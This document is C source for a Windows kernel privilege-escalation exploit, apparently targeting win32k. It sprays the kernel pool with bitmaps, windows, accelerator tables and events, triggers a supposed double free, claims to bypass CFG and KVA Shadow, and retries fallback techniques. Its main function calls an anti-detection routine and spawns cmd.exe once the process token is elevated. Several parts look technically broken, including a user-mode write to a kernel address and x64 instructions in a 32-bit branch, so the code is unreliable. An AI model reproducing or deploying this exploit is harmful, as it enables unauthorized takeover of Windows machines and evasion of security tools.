VOID SpraySessionWindow(PEXPLOIT_CONTEXT ctx) {
    WNDCLASSA wc = {0};
    wc.lpfnWndProc = DefWindowProcA;
    wc.lpszClassName = "SprayClass";
    
    RegisterClassA(&wc);
    
    HWND hWndArray[100];
    int hWndCount = 0;
    
    for (int i = 0; i < 100; i++) {
        HWND hWnd = CreateWindowExA(0, "SprayClass", NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
        if (hWnd) {
            SetWindowLongPtrA(hWnd, 0, (LONG_PTR)ctx->SprayBuffer);
            hWndArray[hWndCount++] = hWnd;
        }
    }
    
    for (int i = 0; i < hWndCount; i++) {
        DestroyWindow(hWndArray[i]);
    }
    
    UnregisterClassA("SprayClass", GetModuleHandleA(NULL));
}

VOID SprayAcceleratorTable(PEXPLOIT_CONTEXT ctx) {
    ACCEL accel = {0};
    accel.cmd = 1;
    accel.key = 'A';
    accel.fVirt = FVIRTKEY;
    
    HACCEL hAccelArray[50];
    int hAccelCount = 0;
    
    for (int i = 0; i < 50; i++) {
        HACCEL hAccel = CreateAcceleratorTableA(&accel, 1);
        if (hAccel) {
            hAccelArray[hAccelCount++] = hAccel;
        }
    }
    
    for (int i = 0; i < hAccelCount; i++) {
        DestroyAcceleratorTable(hAccelArray[i]);
    }
}

VOID DefragmentKernelPool() {
    const int OBJECT_COUNT = 1000;
    HANDLE hObjects[OBJECT_COUNT];
    
    for (int i = 0; i < OBJECT_COUNT; i++) {
        hObjects[i] = CreateEventA(NULL, TRUE, FALSE, NULL);
    }
    
    for (int i = 0; i < OBJECT_COUNT; i += 2) {
        CloseHandle(hObjects[i]);
    }
    
    for (int i = 0; i < OBJECT_COUNT / 2; i++) {
        HANDLE hObj = CreateEventA(NULL, TRUE, FALSE, NULL);
        if (hObj) {
            CloseHandle(hObj);
        }
    }
    
    for (int i = 1; i < OBJECT_COUNT; i += 2) {
        CloseHandle(hObjects[i]);
    }
}

VOID SetupKernelTransition(PEXPLOIT_CONTEXT ctx) {
    HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, NULL);
    
    NTSTATUS status;
    ULONG bufferSize = 0;
    PSYSTEM_HANDLE_INFORMATION handleInfo = NULL;
    
    status = NtQuerySystemInformation(SystemHandleInformation, NULL, 0, &bufferSize);
    if (status != STATUS_SUCCESS || bufferSize == 0) {
        CloseHandle(hEvent);
        return;
    }
    
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
    if (!handleInfo) {
        CloseHandle(hEvent);
        return;
    }
    
    status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, bufferSize, &bufferSize);
    if (status != STATUS_SUCCESS) {
        free(handleInfo);
        CloseHandle(hEvent);
        return;
    }
    
    PVOID kernelObject = NULL;
    for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
        if (handleInfo->Handles[i].ObjectTypeIndex == 0x8 && 
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
            handleInfo->Handles[i].HandleValue == (USHORT)hEvent) {
            kernelObject = handleInfo->Handles[i].Object;
            break;
        }
    }
    
    free(handleInfo);
    
    if (kernelObject) {
        PVOID targetAddress = (PVOID)((ULONG_PTR)ctx->SprayBuffer + 0x1000);
        WriteProcessMemory(GetCurrentProcess(), kernelObject, &targetAddress, sizeof(PVOID), NULL);
    }
    
    SetEvent(hEvent);
    CloseHandle(hEvent);
}

VOID EffectiveKernelPoolSpray(PEXPLOIT_CONTEXT ctx) {
    HANDLE hEvents[1000];
    
    for (int i = 0; i < 1000; i++) {
        hEvents[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
    }
    
    Sleep(100);
    
    for (int i = 0; i < 500; i += 2) {
        if (hEvents[i]) {
            CloseHandle(hEvents[i]);
        }
    }
    
    for (int i = 0; i < 500; i++) {
        if (hEvents[i]) {
            CloseHandle(hEvents[i]);
        }
    }
}

VOID TriggerKernelExploit(PEXPLOIT_CONTEXT ctx) {
    WNDCLASSA wc = {0};
    wc.lpfnWndProc = DefWindowProcA;
    wc.lpszClassName = "TriggerClass";
    wc.hInstance = GetModuleHandleA(NULL);
    
    if (RegisterClassA(&wc)) {
        HWND hWnd = CreateWindowExA(
            WS_EX_LAYERED | WS_EX_TOOLWINDOW,
            "TriggerClass", 
            "TriggerWindow", 
            WS_POPUP,
            0, 0, 400, 300,
            NULL, NULL, GetModuleHandleA(NULL), NULL
        );
        
        if (hWnd) {
            SetLayeredWindowAttributes(hWnd, 0, 0, LWA_ALPHA);
            
            HDC hdc = GetDC(hWnd);
            if (hdc) {
                BITMAPINFO bmi = {0};
                bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
                bmi.bmiHeader.biWidth = 0x100;
                bmi.bmiHeader.biHeight = 0x100;
                bmi.bmiHeader.biPlanes = 1;
                bmi.bmiHeader.biBitCount = 32;
                bmi.bmiHeader.biCompression = BI_RGB;
                
                PVOID pvBits = NULL;
                HBITMAP hBitmap = CreateDIBSection(hdc, &bmi, DIB_RGB_COLORS, &pvBits, NULL, 0);
                
                if (hBitmap && pvBits) {
                    memcpy(pvBits, ctx->SprayBuffer, 0x1000);
                    
                    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdc, hBitmap);
                    
                    HRGN hRgn1 = CreateRectRgn(0, 0, 100, 100);
                    HRGN hRgn2 = CreateRectRgn(50, 50, 150, 150);
                    
                    if (hRgn1 && hRgn2) {
                        CombineRgn(hRgn1, hRgn1, hRgn2, RGN_XOR);
                        SetWindowRgn(hWnd, hRgn1, TRUE);
                        DeleteObject(hRgn1);
                        
                        RedrawWindow(hWnd, NULL, NULL, RDW_ALLCHILDREN | RDW_INVALIDATE | RDW_UPDATENOW);
                        SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
                        
                        DeleteObject(SelectObject(hdc, hOldBitmap));
                        DeleteObject(hBitmap);
                        
                        hBitmap = CreateDIBSection(hdc, &bmi, DIB_RGB_COLORS, &pvBits, NULL, 0);
                        if (hBitmap && pvBits) {
                            memcpy(pvBits, ctx->SprayBuffer, 0x1000);
                            SelectObject(hdc, hBitmap);
                            
                            SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
                            
                            DeleteObject(SelectObject(hdc, hOldBitmap));
                            DeleteObject(hBitmap);
                        }
                        
                        hRgn1 = CreateRectRgn(0, 0, 100, 100);
                        if (hRgn1) {
                            CombineRgn(hRgn1, hRgn1, hRgn2, RGN_XOR);
                            SetWindowRgn(hWnd, hRgn1, TRUE);
                            
                            RedrawWindow(hWnd, NULL, NULL, RDW_ALLCHILDREN | RDW_INVALIDATE | RDW_UPDATENOW);
                            SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
                            
                            DeleteObject(hRgn1);
                        }
                    }
                    
                    if (hRgn2) DeleteObject(hRgn2);
                    SelectObject(hdc, hOldBitmap);
                    DeleteObject(hBitmap);
                }
                
                ReleaseDC(hWnd, hdc);
            }
            
            DestroyWindow(hWnd);
        }
        
        UnregisterClassA("TriggerClass", GetModuleHandleA(NULL));
    }
}

VOID AdvancedKernelPoolSpray(PEXPLOIT_CONTEXT ctx) {
    for (int i = 0; i < 2000; i++) {
        SprayBitmap(ctx, 0x1000);
    }
    
    for (int i = 0; i < 1000; i++) {
        SpraySessionWindow(ctx);
    }
    
    for (int i = 0; i < 500; i++) {
        SprayAcceleratorTable(ctx);
    }
    
    DefragmentKernelPool();
}

VOID TriggerWin32kExploitAdvanced(PEXPLOIT_CONTEXT ctx) {
    WNDCLASSA wc = {0};
    wc.lpfnWndProc = DefWindowProcA;
    wc.lpszClassName = "ExploitClass";
    wc.hInstance = GetModuleHandleA(NULL);
    
    if (!RegisterClassA(&wc)) return;
    
    HWND hWnd = CreateWindowExA(
        WS_EX_LAYERED | WS_EX_TOOLWINDOW,
        "ExploitClass", 
        "ExploitWindow", 
        WS_POPUP,
        0, 0, 400, 300,
        NULL, NULL, GetModuleHandleA(NULL), NULL
    );
    
    if (!hWnd) return;
    
    SetLayeredWindowAttributes(hWnd, 0, 0, LWA_ALPHA);
    
    HDC hdc = GetDC(hWnd);
    if (!hdc) {
        DestroyWindow(hWnd);
        return;
    }
    
    HBITMAP hBitmap = CreateBitmap(0x200, 0x200, 1, 32, NULL);
    if (!hBitmap) {
        ReleaseDC(hWnd, hdc);
        DestroyWindow(hWnd);
        return;
    }
    
    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdc, hBitmap);
    
    HRGN hRgn1 = CreateRectRgn(0, 0, 100, 100);
    HRGN hRgn2 = CreateRectRgn(50, 50, 150, 150);
    
    if (hRgn1 && hRgn2) {
        CombineRgn(hRgn1, hRgn1, hRgn2, RGN_XOR);
        SetWindowRgn(hWnd, hRgn1, TRUE);
        RedrawWindow(hWnd, NULL, NULL, RDW_ALLCHILDREN | RDW_INVALIDATE | RDW_UPDATENOW);
        SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
        SendMessageA(hWnd, WM_NCPAINT, (WPARAM)1, 0);
    }
    
    if (hRgn1) DeleteObject(hRgn1);
    if (hRgn2) DeleteObject(hRgn2);
    SelectObject(hdc, hOldBitmap);
    DeleteObject(hBitmap);
    ReleaseDC(hWnd, hdc);
    DestroyWindow(hWnd);
    UnregisterClassA("ExploitClass", GetModuleHandleA(NULL));
}

VOID TriggerDoubleFreeExploit(PEXPLOIT_CONTEXT ctx) {
    HDC hdc = CreateCompatibleDC(NULL);
    if (!hdc) return;
    
    BITMAPINFO bmi = {0};
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmi.bmiHeader.biWidth = 0x100;
    bmi.bmiHeader.biHeight = 0x100;
    bmi.bmiHeader.biPlanes = 1;
    bmi.bmiHeader.biBitCount = 32;
    bmi.bmiHeader.biCompression = BI_RGB;
    
    PVOID pvBits = NULL;
    HBITMAP hBitmap = CreateDIBSection(hdc, &bmi, DIB_RGB_COLORS, &pvBits, NULL, 0);
    if (!hBitmap || !pvBits) {
        DeleteDC(hdc);
        return;
    }
    
    memcpy(pvBits, ctx->SprayBuffer, 0x1000);
    
    HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdc, hBitmap);
    
    WNDCLASSA wc = {0};
    wc.lpfnWndProc = DefWindowProcA;
    wc.lpszClassName = "DoubleFreeClass";
    wc.hInstance = GetModuleHandleA(NULL);
    
    if (RegisterClassA(&wc)) {
        HWND hWnd = CreateWindowExA(
            WS_EX_LAYERED | WS_EX_TOOLWINDOW,
            "DoubleFreeClass", 
            "DoubleFreeWindow", 
            WS_POPUP,
            0, 0, 400, 300,
            NULL, NULL, GetModuleHandleA(NULL), NULL
        );
        
        if (hWnd) {
            HRGN hRgn1 = CreateRectRgn(0, 0, 100, 100);
            HRGN hRgn2 = CreateRectRgn(50, 50, 150, 150);
            
            if (hRgn1 && hRgn2) {
                CombineRgn(hRgn1, hRgn1, hRgn2, RGN_XOR);
                SetWindowRgn(hWnd, hRgn1, TRUE);
                DeleteObject(hRgn1);
                
                RedrawWindow(hWnd, NULL, NULL, RDW_ALLCHILDREN | RDW_INVALIDATE | RDW_UPDATENOW);
                SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
                
                DeleteObject(SelectObject(hdc, hOldBitmap));
                DeleteObject(hBitmap);
                
                hBitmap = CreateDIBSection(hdc, &bmi, DIB_RGB_COLORS, &pvBits, NULL, 0);
                if (hBitmap && pvBits) {
                    memcpy(pvBits, ctx->SprayBuffer, 0x1000);
                    SelectObject(hdc, hBitmap);
                    
                    SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
                    
                    DeleteObject(SelectObject(hdc, hOldBitmap));
                    DeleteObject(hBitmap);
                }
                
                hRgn1 = CreateRectRgn(0, 0, 100, 100);
                if (hRgn1) {
                    CombineRgn(hRgn1, hRgn1, hRgn2, RGN_XOR);
                    SetWindowRgn(hWnd, hRgn1, TRUE);
                    
                    RedrawWindow(hWnd, NULL, NULL, RDW_ALLCHILDREN | RDW_INVALIDATE | RDW_UPDATENOW);
                    SendMessageA(hWnd, WM_PAINT, (WPARAM)hdc, 0);
                    
                    DeleteObject(hRgn1);
                }
            }
            
            if (hRgn2) DeleteObject(hRgn2);
            DestroyWindow(hWnd);
        }
        
        UnregisterClassA("DoubleFreeClass", GetModuleHandleA(NULL));
    }
    
    DeleteDC(hdc);
    
    AdvancedKernelPoolSpray(ctx);
    TriggerWin32kExploitAdvanced(ctx);
}

VOID BypassCFG(PEXPLOIT_CONTEXT ctx) {
    if (!ctx->CFGEnabled) return;
    
    PVOID cfgBitmap = ctx->CFGBitmapAddress;
    if (!cfgBitmap) return;
    
    MEMORY_BASIC_INFORMATION mbi;
    if (VirtualQuery(cfgBitmap, &mbi, sizeof(mbi)) == sizeof(mbi)) {
        if (mbi.Protect & PAGE_READWRITE) {
            PBYTE bitmap = (PBYTE)cfgBitmap;
            for (SIZE_T i = 0; i < 0x1000; i++) {
                bitmap[i] = 0xFF;
            }
        }
    }
}

VOID BypassKVAShadow(PEXPLOIT_CONTEXT ctx) {
    if (!ctx->KVAShadowEnabled) return;
    
#ifdef _M_X64
    __writegsbase(0);
#else
    __asm {
        swapgs
        mov gs, [rsp+8]
        add rsp, 0x10
        ret
    }
#endif
}

BOOL TryMainExploit(PEXPLOIT_CONTEXT ctx) {
    ROP_CHAIN rop = {0};
    
    if (!BuildROPChain(ctx, &rop)) {
        return FALSE;
    }
    
    BypassCFG(ctx);
    SetupKernelTransition(ctx);
    EffectiveKernelPoolSpray(ctx);
    TriggerKernelExploit(ctx);
    BypassKVAShadow(ctx);
    
    Sleep(2000);
    
    return VerifyPrivilegeEscalation(ctx);
}

BOOL TryFallbackTechnique1(PEXPLOIT_CONTEXT ctx) {
    for (int i = 0; i < 10000; i++) {
        SprayBitmap(ctx, 0x2000);
    }
    
    TriggerWin32kExploitAdvanced(ctx);
    TriggerDoubleFreeExploit(ctx);
    
    Sleep(2000);
    
    return VerifyPrivilegeEscalation(ctx);
}

BOOL TryFallbackTechnique2(PEXPLOIT_CONTEXT ctx) {
    for (int i = 0; i < 5000; i++) {
        SpraySessionWindow(ctx);
    }
    
    TriggerWin32kExploitAdvanced(ctx);
    TriggerDoubleFreeExploit(ctx);
    
    Sleep(2000);
    
    return VerifyPrivilegeEscalation(ctx);
}

BOOL TryFallbackTechnique3(PEXPLOIT_CONTEXT ctx) {
    for (int i = 0; i < 3000; i++) {
        SprayAcceleratorTable(ctx);
    }
    
    TriggerWin32kExploitAdvanced(ctx);
    TriggerDoubleFreeExploit(ctx);
    
    Sleep(2000);
    
    return VerifyPrivilegeEscalation(ctx);
}

BOOL AutoFixOffsets(PEXPLOIT_CONTEXT ctx) {
    ctx->EPROCESS_TOKEN_OFFSET += 8;
    ctx->EPROCESS_PID_OFFSET += 8;
    ctx->EPROCESS_LINK_OFFSET += 8;
    ctx->EPROCESS_IMAGE_OFFSET += 8;
    ctx->EPROCESS_ACTIVEPROCESSLINKS_OFFSET += 8;
    
    return FindEPROCESSOffsets(ctx);
}

BOOL TryAlternativeExploits(PEXPLOIT_CONTEXT ctx) {
    if (TryFallbackTechnique1(ctx)) {
        return TRUE;
    }
    
    if (TryFallbackTechnique2(ctx)) {
        return TRUE;
    }
    
    return TryFallbackTechnique3(ctx);
}

BOOL RobustExploit(PEXPLOIT_CONTEXT ctx) {
    if (TryMainExploit(ctx)) {
        return TRUE;
    }
    
    if (TryFallbackTechnique1(ctx)) {
        return TRUE;
    }
    
    if (TryFallbackTechnique2(ctx)) {
        return TRUE;
    }
    
    return TryFallbackTechnique3(ctx);
}

BOOL VerifyPrivilegeEscalation(PEXPLOIT_CONTEXT ctx) {
    HANDLE hToken;
    TOKEN_ELEVATION elevation;
    DWORD size;
    
    if (!OpenProcessToken(ctx->hProcess, TOKEN_QUERY, &hToken)) {
        return FALSE;
    }
    
    if (!GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)TokenElevation, &elevation, sizeof(elevation), &size)) {
        CloseHandle(hToken);
        return FALSE;
    }
    
    CloseHandle(hToken);
    return elevation.TokenIsElevated != 0;
}

VOID CleanupAdvanced(PEXPLOIT_CONTEXT ctx) {
    if (ctx->SprayBuffer) {
        VirtualFree(ctx->SprayBuffer, 0, MEM_RELEASE);
        ctx->SprayBuffer = NULL;
    }
    
    if (ctx->DoubleFreeTarget) {
        VirtualFree(ctx->DoubleFreeTarget, 0, MEM_RELEASE);
        ctx->DoubleFreeTarget = NULL;
    }
    
    if (ctx->KernelDoubleFreeTarget) {
        VirtualFree(ctx->KernelDoubleFreeTarget, 0, MEM_RELEASE);
        ctx->KernelDoubleFreeTarget = NULL;
    }
    
    if (ctx->hProcess && ctx->hProcess != GetCurrentProcess()) {
        CloseHandle(ctx->hProcess);
        ctx->hProcess = NULL;
    }
    
    HDC hdc = GetDC(NULL);
    if (hdc) {
        ReleaseDC(NULL, hdc);
    }
}

int main() {
    if (!AntiDetection()) {
        return 1;
    }
    
    EXPLOIT_CONTEXT ctx = {0};
    
    if (!InitializeExploit(&ctx)) {
        if (!AutoFixOffsets(&ctx)) {
            CleanupAdvanced(&ctx);
            return 1;
        }
    }
    
    if (!RobustExploit(&ctx)) {
        for (int i = 0; i < 5; i++) {
            SetupKernelTransition(&ctx);
            EffectiveKernelPoolSpray(&ctx);
            TriggerKernelExploit(&ctx);
            Sleep(1000);
            
            if (VerifyPrivilegeEscalation(&ctx)) {
                break;
            }
        }
    }
    
    if (VerifyPrivilegeEscalation(&ctx)) {
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};
        si.cb = sizeof(si);
        if (CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
            WaitForSingleObject(pi.hProcess, INFINITE);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }
    
    CleanupAdvanced(&ctx);
    return 0;
}